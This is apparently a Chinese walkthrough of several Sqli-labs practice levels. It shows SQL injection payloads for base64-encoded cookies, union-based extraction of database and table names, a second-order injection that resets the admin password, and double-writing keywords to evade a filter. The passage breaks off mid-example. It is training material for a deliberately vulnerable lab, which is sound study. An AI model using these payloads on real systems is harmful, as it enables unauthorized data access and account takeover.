Sqli-labs手工注入第二阶段,主要都是一些绕过的技巧(包括WAF)。
登录成功后的页面:
很明显cookie
字段是被加密处理了(而且后面的=
暴露了应该是base64编码方式)。
插播一个关于讲解base64编码方式的博文,点击跳转。
查看php文件确实如此,所以只需要上传paylaod的时候base64加密一下就可以了。
%3d应该是=号urldecode的结果
接下来构造payload进行测试:
1 | admin' and 1=1 --+ //明文 |
根据SQL错误信息的提示,应该是少了一个)
:
1 | admin') and 1=1# //明文 |
示例爆库paylaod:
1 | -admin') union select 1,2,database()# |
和less-21一样的,只需要使用双引号代替单引号再取掉括号即可。
样例payload
1 | -admin" union select 1,2,database()# |
多次输入发现这道题不能用注释符来注掉后面Limit
语句,只能转而用单引号闭合的方式。
尝试:
1 | ?id=1 and ' |
发现SQL语句不报错,那么久可以使用联合查询:
1 | ?id=-1' union select 1,database(),3 and ' |
爆表payload:
1 | ?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' or '1'=' |
首先注册一个新用户,用户名必须是admin'#
:
然后登录admin'#
账号,并修改该账号的密码,但此时修改的就是admin的密码:
这是因为:SQL语句变为
1 | UPDATE users SET passwd="New_Pass" WHERE username ='admin' # ' AND password=' |
也就是执行了
1 | UPDATE users SET passwd="New_Pass" WHERE username ='admin' |
再可以去后台的数据库查看users表的记录:
发现账号admin
的密码被更改了!!!
二次注入成功。
根据页面的提示,很明显程序把我们输入的and
和or
关键字过滤掉了。
解决方法就是双写and
或or
关键字,例如: